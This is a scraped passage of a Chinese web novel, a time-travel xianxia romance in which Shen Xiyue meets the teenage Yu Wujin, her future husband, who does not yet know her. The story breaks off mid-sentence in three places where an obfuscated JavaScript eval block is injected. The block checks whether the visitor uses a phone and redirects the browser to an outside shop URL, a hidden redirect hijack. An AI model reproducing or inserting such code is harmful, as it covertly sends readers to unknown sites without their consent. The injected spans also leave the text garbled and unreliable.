来时有多嚣张,走得便有多狼狈。 四下再度陷入静默。 几息之余,玉无烬蓦然开口:“还不滚?” 沈汐月下意识地旋眸望了望周遭,确认过先前那帮弟子悉数离去无人回返、附近亦并没有旁人经过后,才终于后知后觉地意识到。 他此言,是在同她说的。 果真,她一抬眸,便见少年玉无烬亦转过首看向她藏身的方位,阴鸷的视线与她的目光骤然相撞。 心尖微颤,她看见他面颊血渍尚未干涸。 她念象之中,那双素日盈满温情脉脉的桃花眼,此刻眼尾泛着血红,睫羽轻垂间,是她从未见过的、全然的陌生与戒备。 是时残日全然没入远山,皎月高悬。 迎着月芒,少年的面颊愈显苍白。 他就这般半倚着通天粗竹,坐在地上,深深凝视着她,并无主动发起攻击的意图,也不言语。 方才那点子微末的惊诧早已尽数褪去,取而代之的,是无尽的心疼与怜惜。 以及,厚重的、难以言说的,委屈。 她鼻尖酸酸涩涩,喉间也似哽了什么,眼眶不受控制地愈发泛着红晕。先前在山林遇险时她都没有哭,此刻却再也忍不住,泪珠子吧嗒一声便坠了下来。 少时有爹爹千疼百宠地娇养着、宝贝疙瘩似地呵护着,后来又有夫君衣食住行一应俱全地将她全然当做小孩子宠惯着。沈汐月的生活素来是顺风顺水,从未有过什么大风大浪。 直至如今短短几日,她便骤然历经了与夫君、爹爹、自幼看着她长大将她视若自家亲子的宗门长老、日日相伴玩耍的师姊弟的生离死别,又无端惘然地来到周遭无一熟识的三万年前、这个于她而言全然陌生的世界。 她本以为,自己心态尚且算得上乐观,当真能够做到,既来之则安之。 如今再见到少年玉无烬那张熟悉却又透着些许陌生的面孔,她才后知后觉地意识到,她没有自己以为的那样坚强的。 她只是,没有了可以依靠的人。 所以下意识地封闭了自己的情绪,塑造出一层虚假的、坚强乐观的壳子,护住自己最脆弱的一面。 她痴痴地望着他,似是要将他的身影烙刻入眸。 她想要如同从前遇见困难挫折时一般,张开双臂,扑进他的怀中,紧紧搂住他的脖颈,将面颊深深埋在他胸膛,寻求安慰与庇护。 却蓦然撞见他眼里往日待她的温情与宠溺不再,而是死水一般的沉静寒凉。 心底最深处似乎有什么极为重要的东西被人生生挖了出去,疼得窒息。 是了,他不记得她了。 或者说,三万年前的他,还不认识她呢。 强忍着无尽的酸楚与委屈,沈汐月自竹影之后现出身形,一面止不住砸着眼泪,一面步步走向他。 行至他面前,她半蹲下来,与坐在地面的玉无烬视线相齐平。 望着面前泪水如同小溪流般淌了满面、却依旧朝着他坚定靠近的少女,玉无烬少年英朗的眉心微蹙,鸦羽般浓密的长睫低垂,敛起晦暗不明的眸光。 他嗓音沉沉:“你方才都看见了?” 沈汐月“嗯”了声,闷闷的,带着浓重的鼻音。 “看见了。”她说。 既然都看见了,为何还敢靠近他? 她就不怕他突然暴起,连她也一并伤了? 玉无烬缓缓抬起眸,目光幽深,似是要直勾勾望进她眼里的最深处,看穿她的所思所想。 他问她:“你不怕我?” 沈汐月吸吸鼻子,声音绵软却干脆:“不怕。” 玉无烬生平第一次被人这般坚定不移地选择,呼吸微微凝滞,默了好半晌,他适才重新寻回自己的声音,只是比之方才的冷沉略添了几分不易觉察的暗哑:“为什么?” 沈汐月想也不想便道:“你不会伤我。” 她答得极为笃定,一双顶顶漂亮的眸子哭得红彤彤,小巧的鼻尖也透着粉红,活像一只叫人如何欺负惨了的单纯小白兔。 月芒如皎白的绸缎轻轻覆落,披洒在他们身上。 交叠的影子在脚边拉得长长。 他们此刻离的极近,玉无烬能够无比清晰地感触到,少女温热的呼吸正有一下、没一下地喷洒在他面庞。 带着一股子淡淡的桃花香。 他凝着她,后者纤长卷翘的睫羽簌簌轻颤,根根分明,挂着晶莹透亮的泪珠子,颗颗滚落。 “吧嗒”一声,砸在他们之间的地面上。 又似击碎二人之间一道无色无形的屏障。 玉无烬喉间一阵发涩,言语干巴巴地:“他们欺负的是我,你哭什么?” “我心疼你。” 少女的回答不假思索,真诚又直白。 玉无烬感觉到心尖常年冰封冷硬的某个位置隐隐发烫,似乎有什么东西正悄悄然破开一角。 他不知道,也不愿去想。 偏开首,眉眼微垂,不再看她。 静默了许久,久到沈汐月近乎要以为他不欲再与她交谈。他倏忽嗤笑一声:“有什么好心疼的。” 他这样的人,无父无母,无亲无友,性子又着实算不得讨喜。从小到大,不论何时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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且不说他们今日是第一次相遇,她如何知晓他平素是邋遢还是爱干净。 便说他自己,每日皆穿着一身肮脏破旧的衣袍,干的亦是洒扫尘泥的粗活儿。能将就活着就不错了,哪里还有心思在意什么外在之物。 哪里有资格去爱干净。 沈汐月却比他自己还要笃定,根本不予他反驳的机会,手上仔细为他擦拭面颊的动作不断,眉眼间满是认真地道:“你最爱干净了,这样一定很难受吧。” 她用的,是陈述的语气。 这般说着,她识海之中不自觉浮现出三万年后的玉无烬每每穿着一身玄黑色的衣袍,半蹲在明月宗后山的小溪流边,那双骨节分明、极为好看的手掌没入清泉,将她与他的衣裳一并洗得一尘不染。 待将湿衣裳铺平覆在桃木衣架上晾晒,他复又行回他们同居的小院子,拿着扫帚将满地落叶清扫利落,再进屋去寻块素帕子沾湿了,将窗棂小桌皆擦拭干净。 更是日日都要缠着她相拥沐浴,互相涂抹皂角。 尤其是他为她涂抹时,修长的手指沾着细腻的沫子,落在她身上,仔细地抹匀、翻覆摩挲,每一处角落都不落下…… 想得略微有些偏了,她收回发散的思绪。 只念着,如此种种行径,他怎可能不爱干净。 定是如今条件艰苦,委屈他了。 此刻的玉无烬并非是三万年后那个与她朝夕相处、眼观眼便心意相通的温润夫君,自然不知晓她心里在想什么,只觉着她有些无理取闹了。 却没来由地,就这般静止不动,并没有推开她。 皎皎明月高悬于遥遥天际,映在一身桃粉色衣裙、披着红狐狸绒披风的少女身后,清辉漫洒,与她皎洁姣好的面庞相融相衬。 玉无烬凝眸望着她,怔立良久。 有一个瞬间,他忽然觉得,她很像月亮。 6.第 6 章 皎皎月华蔓过层层竹枝,自细长重叠的叶片缝隙间穿梭而过,似世间最干净雪白的绸缎般,如丝如缕落在二人脚边。 沈汐月望着眼前人再熟悉不过的眉眼,终是忍不住脱口唤道:“夫君。” 话音方落,空气霎时间凝滞住,玉无烬混沌的思绪猛然惊回,蓦地抬首与她视线相接。 少年眼神错愕又似是不敢置信,随即又似被炽热火舌灼烫到一般倏然偏开首,耳根处无可抑制地泛起一层红晕,在苍白肤色的映衬下,格外分明。 他嗓音沉沉:“你……乱叫什么!” 怔愣了几息,沈汐月也意识到自己方才激动之余一时失言,眼眶里积蓄的泪意骤然止住,她抬手掩唇轻咳两声,桃腮也跟着渐红,指尖无意识地蜷了蜷,忙不迭地改口:“阿烬……” 她尚且沉浸在自己与三万年前的夫君初次见面,便闹出这般糗事的赧然之中,心中思量着他会不会因此而觉着她怎地如此不知羞,觉着她很随便。 毕竟,哪里有好人家的姑娘与“陌生男子”甫一见面便叫人家夫君的! 她想得投入,未曾留意到面前的少年在她话音落下的一刹,颊边浅淡的薄红尽数褪去,眸光微沉,眼神也彻底冷了下来。 若说方才那声夫君能够勉强算作她自来熟的故意撩拨之语,可如今,她唤他,阿烬。 他记得清明,自打他初见到她时起,根本就不曾将自己的名姓告诉予她。 且他自幼便记性极佳,身边认识的人又屈指可数。他可以确切,曾经过往之中从来不曾见过她,更遑论与她相识。 那么,她是如何知晓他的名字的。 又因何叫的这般亲近? 少年眸光愈发暗沉,眼尾的殷红更添了几分。 电光火石之间,阴暗的想法再度席卷而至,冰凉刺骨、淬满恶意的声音在他识海之中回荡不休。 看吧,玉无烬,她在骗你!她就是在玩弄你! 眼底阴鸷徒升,他猛然抬手,蓦地挥开少女执帕搭在他颊边擦拭的手。 沈汐月一时不察,被他推得身形不稳,狠狠摔倒在地。细嫩的掌心擦在遍地锋锐的碎石间,刮蹭出道道细小的伤痕,殷红的血珠子颗颗浸出,再沿着白皙纤细的手腕成行滑落。 月华似练,将血滴映得透亮,沈汐月没忍住轻轻“嘶”了声,另一只手捧着受伤的手腕凑至唇畔,小小口吹了吹气。 旋即有几分委屈地抬眸望向玉无烬,一双漂亮的眸子里满是不解,粉红唇瓣紧抿着,似是在控诉着什么。 玉无烬将她这一系列动作悉数看在眼里,却并没有理会。 而是缓缓站起身。 银白清辉将少年的身影拉得颀长,他站定于跌坐在地的沈汐月面前,睫眸低垂,浓密的鸦羽自眼睑洒下一小片阴影,掩住他眼底的波动。 他居高临下地俯视着她。 冷沉的目光如寒潭深水,寸寸浸过她的眉眼。 他一字一句:“若是我记得不错,我们此前不曾见过吧?” 沈汐月也仰起头,坦然迎回他的视线,浓密卷翘的睫羽簌簌眨了眨。 她怔愣了好一会儿,似乎并不明白他问这个是何用意,但还是乖乖回答:“确是不曾见过的。” 眸色愈发晦暗,默然良久,玉无烬方缓缓开口:“我从未将我的名姓告诉过你。” 心口的跳动漏了一瞬,沈汐月后知后觉地意识到问题所在。唇瓣几经开阖,却始终不知当如何解释。 又或是,她其实也清楚自己根本无从分辨。 “不是你想的那样的……”少女绵软的声线细弱弱的,落在凝滞的空气里显得分外苍白。 “那是怎样。”不待她说完,便被对方冰冷打断。 他一步步朝着她逼近,略一俯身,便将沈汐月娇小的身躯尽然笼在阴翳之下。 彼此的面颊再次拉得极近,沈汐月却莫名感受到一阵前所未有的冷意。她没忍住打了个寒颤,本能驱使下缩了缩身子,撑着手臂想要往后挪一挪。 玉无烬却并不给她这个机会,骨节分明的手掌倏忽搭在她肩上,力道其实并不算重,却生生使她定住身形,没了动作。 四目相对间,沈汐月眼圈蓦然一红。 吸了吸鼻子,晶莹剔透的泪珠子再次没忍住浸出眼眶,缓缓顺着面颊滑落。 一颗接着一颗,砸在他手背上。 滚烫的温度灼得他指尖一颤,猛然收回手。 声音添了些许的暗哑:“别哭了。” 自今夜初见,她已经当着他的面哭了多少次了! 她是水做的吗? 瞥见她长睫上悬着的泪滴,心头那点冷硬不自觉融去几分。他移开视线,声音仍旧低沉,却已然褪去大半寒意:“你与那些人……是否相识?” 沈汐月反复思索了好一会儿,才反应过来他口中的“那些人”,是先前欺辱他的那帮弟子。 微微泛着红晕的眼眸睁得圆圆,满是错愕与委屈。 她不敢置信,他竟会以为她与他们是一伙的!以为今夜种种,是她与他们里应外合做戏来欺负他的! 他……竟将她想得那般坏! 她急急摇头否认:“不认识的!你……你别误会!” 嗓音愈发闷闷的,“别那样想我……” 泪珠还挂在睫毛上,将坠不坠。 见他只是静默不语,她心下更慌。 似乎生怕他不相信,她并拢起三指立于耳侧,嗓音还带着未散的哭腔。 “我可以发誓的!我当真不认得他们。如有半句谎话,便叫我不得好——” “死”字尚未脱口,玉无烬倏忽抬手握住她并拢的指尖。 少女的手指纤细柔软,温温蜷在他掌心。 小巧巧的,格外可爱。 他攥着她的手,轻轻裹住她温软的指节,果断地缓缓按下:“……不必发誓。” 不知因何,他心下有股子异样的知觉,似钝痛,又似混杂着说不清道不明的焦躁与烦扰。 他分不清这情绪从何而来,只知当听到她要以生死立誓时,某种近乎本能的抗拒猛然攫住了他。 他宁愿她欺他骗他,也不愿她以自身安危来发此毒誓。更不愿……她与那个字牵扯分毫。 他不明白自己为何会这般想,只得生硬地别开脸,声音低了许些:“我信你就是。” 不过,他并未就此忘却最关键的问题:“所以,你究竟是如何知道我的名字?” 该来的总归是躲不掉。 沈汐月缓缓阖上眼,深吸了口气。 再睁开时,泪意已然敛去,眸中只余一片澄澈的认真。 她深深望进他眼底,一字字格外清晰。 “若是我说,我是你三万年后的妻子,你信不信?” 夜风忽止。 月华凝在她仰起的脸上,皎洁如初雪。 四下无声,愈显寂静,唯余彼此交叠的呼吸声。 沈汐月说出此言便不再多语其余,目光紧紧锁定在玉无烬面上,不愿错过他听闻这话后任何一丝细微入厘的反应。 若是此刻站在她面前的是三万年后的玉无烬,不论她说的是什么,纵使再荒谬可笑,他也会毫不犹豫地选择相信她的…… 可他不是。 少年玉无烬只是垂下首,低低地笑了声,眸中却并无一丝笑意,他话音平静地没有一丝波澜:“一点也不好笑。” “我没有在开玩笑!”沈汐月急切道。 面前的少年鸦羽似的长睫垂落,瞳眸在洒下的阴影之中晦暗不明。良久适才沉声开口:“那你且说说,三万年后,你我是如何相识的。” 见他问起这个,沈汐月以为他终于相信了,一双水眸在月光映照下晶亮亮的。 “三万年后,我及笄的那年,因为我生得漂亮,便来了很多媒人来我家里说亲……” “说重点。”玉无烬揉了揉生疼的额心。 “重点就是……爹爹忧心我嫁到别家去会受委屈,便想着为我寻一位入赘夫君,”她抬眸,抿了抿略微干涩的唇瓣,望向他,声音渐低,缓缓道,“最后择出的人选,便是你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113434|195707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “荒谬!”玉无烬猛然直起身,少年清隽而略有几分瘦削的面颊透着层红,似气愤,又似羞恼。 他怎可能会入赘! 不对,是他怎可能会娶她! 沈汐月并不知晓她此言给面前的少年究竟带来了多么大的冲击,只通红着眼圈,坚定道:“是真的。” 玉无烬思绪被她搅得愈发混乱。 但他很快便发觉她言语间的漏洞,眉心紧蹙,眼眸沉敛:“既然是三万年后,你又怎会到那时才及笄?” 沈汐月微微一怔,手指无意识地绞紧袖摆,声音弱了下去:“其实……我是从三万年后,穿梭时空而来的……” 这话出口,她自己都莫名觉着荒唐可笑。 若非当真亲身经历如此,如果现在是换作旁人来对她说这话,怕是她也会觉得,这人疯了,更遑论去相信。 果真,玉无烬面上神情更冷,往日她最熟稔的那双温情脉脉的桃花眼此刻蓄满寒霜,冻得人骨头缝发僵。 他唇角勾起一抹讥诮的弧度,声音沉沉砸进夜色之中:“谎话连篇,不知所云。” 在此刻的他眼中,面前的少女自始而终行为古怪、言语颠倒,没有半句可信。 想起方才与她纠缠种种,他只觉可笑。 他怎地会愚蠢到同她这般的人,徒浪费那么多时间! 思绪至此,他再懒得瞧她,毫不犹豫地旋身欲走。 沈汐月呆呆地坐在原地,望着他冰冷的背影。 没由来地,开口唤住他:“等等。” 玉无烬脚步一顿,却并未有回过首看她。 她张了张口,喉间却似被什么堵着,明明有千言万语缭绕在心间,偏偏一时却不知当说些什么了。 少年的鞋尖踢了踢地面的石子,似乎有些不耐。 “沈汐月。”她忽然开口。 声音很轻,却字字清晰。 他依旧背对着她,像一尊没有温度的雕像,无声不语,只是伫立在那里。 她继续道:“我是说,我的名字,沈汐月。” 玉无烬心头莫名一烫,像是被什么看不见亦触之不及的东西轻轻灼了一下。 强行抑制住想要回过身看她一眼的冲动,只语气淡淡地抛下一句:“知道了。” 话音未落,脚下已然加疾了步子。 少年颀长而单薄的身影渐行渐远,头也不回地没入夜色竹林间。 沈汐月便这般维持着望向他的姿势,像一尊小小的望夫石。直至那抹背影彻底被层层叠叠随着夜风晃动的竹影吞没,消失在视野中,她适才缓缓站起身。 低下头,俯身掸了掸裙摆沾染的尘灰。又解下肩上披着的那件红狐狸绒披风,展开来轻轻抖了抖,再就着月光仔细翻看了一遍。 这身是沅芷的,还要还呢。 瞧这料子与绣工便知是极为珍贵且不易清洗的,可万不能弄脏了。 确认过披风完好无损,沈汐月松了口气。 抬首间,目光不自觉掠过玉无烬方才离去的方向,眼神暗了暗,轻轻叹了口气,不免有些惆怅起来。 今日可是她与三万年前的玉无烬的初见,如此重要的时刻,竟叫她这般便搞砸了…… 他现在会如何去想她? 一个莫名其妙、言行古怪的小疯子?还是一个满口谎言、不知所谓的小骗子? 他现在一定对她印象很差吧。 若是……若是他因此而讨厌她、不喜欢她、往后不愿再见她了,可当如何是好。 光是想到这种可能,沈汐月就觉得心口闷得厉害,像有什么本该属于她的、极为珍贵的东西,被人硬生生从胸腔里剜了出去,徒留下一片空落落的钝痛。 不能再想了。 她抬起手,轻轻揉了揉略微酸涩的眼睛。 睫羽垂落的一瞬,她不曾注意到,与她相隔不远的一排密竹间,玄色身影倏忽一晃。 少年玉无烬的身影匿在其后,那双深邃的桃花眼间隔着疏疏的枝叶,深深凝着她。 眸光在月华照映下,清凌凌的。 7.第 7 章 晚来风急,拨弄三两竹枝,叶影婆娑。 沈汐月未曾察觉密竹后的异样,反倒在刚刚解开披风时被凉薄的夜风寻机钻进袖口,凛意抚过肌肤,冷得她周身瞬时一哆瑟。她赶忙埋下首,将整个身子往披风里紧缩了缩。 适才耽搁得久了,此时方觉天色已全然黑透。 应是很晚了。 正想着快些回返住处,抬首间却蓦然想起,方才忽逢玉无烬之前,她正在林间摸不清方向,原本还盼着有人途径,好来问一问路。 可都到了眼下这个时辰了…… 她环顾了一圈周遭,夜色浓得近乎化不开,虽说不至于伸手不见五指的程度,却亦是暗沉如墨锭。 四下静谧得只能闻得徐风拂动竹叶的簌簌风声与她自己匀缓的呼吸声。 她抿了抿略微干涩的唇瓣。 这般时辰,当真还会有人路过于此么? 玲珑的身躯蜷在红狐狸绒披风下,指尖轻捻绒将自己裹得更严实了些。她无意识地搓了搓微微白里泛红的手指,再凑至唇边呵了团白蒙蒙的暖气。 瓷玉般的小脸轻蹙着,漫开一层薄薄的愁意。 “吧嗒。” 足边忽然传来一声石子坠地的清脆声响。 沈汐月低下头,垂眸寻声望去,赫然看见脚下不远处不知何时从哪儿滚来一颗拳头大的石块。 她下意识地朝着石块所在的位置步步走去,方驻足,便再度闻见“吧嗒”一声,又一颗石子落在她前方几步远的另一处。 心中虽有些疑惑,她还是提着裙摆,循着石子指引的方向前行。 每走出几步,不远处便又有一颗石子落下。 与她不远不近,恰是夜色昏沉下单能看清楚位置、却辨不出从哪边来、如何出现的距离。 不多时,她竟当真从竹林间穿梭出去,视野倏然明亮了许些,抬眸望去,眼前豁然是一处平坦开阔的小广场,有三两弟子正在其间闲步游走。 她心下一喜,便要上前去寻人问路,方迈出两步,脚步却蓦然止住。 心念忽动,她旋过首,望向身后层层叠叠的茂密竹林,竹枝间黑漆漆的,什么也看不分明。 浓密卷翘的睫羽簌簌蹁跹,她眸光微敛,紧紧盯着竹林缝隙间的昏黑,凝了许久。 她忽然开口:“谢谢你,阿烬。” 话音落下,周遭依旧静默无声。 良久没有回应,沈汐月终于收回视线,转身走向有人之处。 竹影晃动间,月光涔涔洒落,勾勒出跟她行了一路的少年的清隽轮廓。他半抬着的右手掌心里,是尚未掷完的几枚石块,指尖亦沾染着几点新鲜的泥污。 少年缓缓垂下眼,也旋过身,朝着背对她的方向。 如来时一般,悄然隐去,无声无息。 广场上,每间隔几步便点着一盏琉璃灯,灯火融融,驱散了几分夜的寒凉。 沈汐月的目光默默然自周遭行来去往的几名弟子面上飘过,最终择了位瞧起来面容温和、应是好说话些的女弟子。正欲朝她走去,身后便忽然传来一声低斥。 “这般晚了,你一个人在此处乱逛作甚!” 她回眸望去,是萧长珩。 区区一下午的间隙,他竟还有心思换了身衣裳。如今墨发之上簪着顶蓝金发冠,身上月白长袍之外罩着件鹤羽大氅,俊朗矜贵的面容眉心微微蹙起。 却在她转过身面向他的一刹话音骤然止住,神情微滞,好半晌才憋出一句:“……沈姑娘?” 沈汐月怔愣了一瞬,随即便了然,八成是因为自己此刻身着楚沅芷华丽丽的红狐狸绒披风,而夜幕垂垂、天光暗沉之下她们身形的轮廓又很是相近,他适才将她认错了人。 睫羽低垂,她轻轻颔首:“仙长。” 似是赧然,萧长珩白皙的面颊渐渐透出几分微不可察的淡红,默了好一阵,他偏开脸不去看她,声音亦低了几分:“我以为你是、我才……” 察觉到他的不自在,沈汐月忙道:“无碍的。” 萧长珩神色稍缓,只是耳根处仍有些许残留的余朱。旋眸间,他倏忽注意到沈汐月右手掌心与手腕处的擦伤,轻抿薄唇:“你的手……” 沈汐月随着他的视线低下头,缓缓抬起右手,袖口自然滑落半截。 昏黄灯光下,原本皓白无瑕的手腕之上纵横着几道细长的划痕,良久未经处理,伤口边缘泛着圈淡淡的红,先前渗出的血珠子已然凝成了暗色的痂。 那是不久前她被玉无烬推倒时,掌心擦到地面粗粝碎石上蹭破的。 当时光顾着如何同他解释,未曾留意伤处。 如今若非是萧长珩提醒,她都快要记不得了。 下意识往外捋了捋袖摆将其遮掩住,她浅声道:“方才路上不小心摔了一跤,没什么。” 倒不是她有意欺瞒他,实则是她觉着她二人之间如何说也算不得熟稔,且到底隔着那么多恩恩怨怨,虽说她并无寻如今对于未来之事一无所知的他报来日之仇的意图,却也实在做不到以德报怨、同他亲近交好。 如此,便没什么必要事无巨细地与他交代,不仅浪费口舌,且于他而言亦是徒增麻烦。 萧长珩亦没有再多问下去,只抬眸问她是不是找不到回去的路了,待得到她肯定的答复后,便率先行在她前面,为她带路。 两人间仿若间隔开一段无形的距离,不约而同地保持沉默,一路无人主动开口放出话茬。 山风穿过林叶,只偶尔传来三两夜莺低鸣。 约莫一刻钟的时间,他们终于再度踏入后山客房的院落。 沈汐月站定在院门处,没再往里迎他,疏离而不失客气地低垂眉梢,启唇同他道谢,随后便直言天色已晚,就不留他小憩了。 萧长珩并非迟钝之人,无论是初见时、亦或是眼下,沈汐月对他那份刻意的疏离都太过明显,他如何觉察不出。 他甚至还从中觉出了一丝若有似无的厌恶。 没错,厌恶。 即便她待他总是唇角含笑、温和有礼的,可他依旧无比清晰地感受到了一抹难以忽略的厌恶。 这抹厌恶来得莫名,他不明白,他们分明是今日第一次相识,他分明对她很是友善。他仔仔细细自识海之中搜刮一番仍未能忆起自己对她有何冒犯之处。 一股子说不清道不明的憋闷涌上心头,可骨子里的骄矜终究占据了上风,不容许他自讨没趣地腆着脸再贴上去刨根问底。 沈汐月望着面前稚气未脱却已然隐隐显出几分来日仙门翘楚风骨的少年,后者一张俊脸青一阵、白一阵,良久又泛起层红,五彩斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧长珩抿唇道:“有了这个,莫要再走丢了。” 话音方息,徐风便至。 萧长珩薄唇几经开阖,似乎还想要说些什么,却终究湮没在冽冽的风声中。 最终只是化为一句:“若无旁的事,我便先走了。” 沈汐月点头“嗯”了声。 话音落下,便见眼前之人迅速转过身,衣袂翩翩,生怕多待一秒似的,头也不回地匆匆离开。 *** 银白的月影遂着细长竹叶层叠的缝隙,碎碎如霜华铺了遍地,形成星星点点斑驳的光团。 灰袍少年踏碎光影,从竹林的另一侧疾步行出。 玄清宗不愧是大仙们,就连普通杂役弟子的屋舍,亦是每间仅由一人独住。 “吱呀”一声响,玉无烬推门进屋,径直走向堂屋正中的小木桌旁。 晨间烧好、此刻早已晾凉的白水盛在轻微锈蚀的铁壶中,他舀起一碗,仰首便迫不及待地灌了下去。 喉间急促地滚动了几下,清水润湿微微发干的唇舌。 他喝得急促,有几缕清透的水痕顺着唇角滑落,沿着少年凌厉的下颌淌入衣襟,经由心口时牵起一丝凉意,堪堪压住他胸腔内那一团混乱不已的莫名躁动。 方褪下沾染血污与泥垢的外袍,便蓦然闻见屋外几声轻轻的叩门声。 他抬眸,冷声问道:“谁?”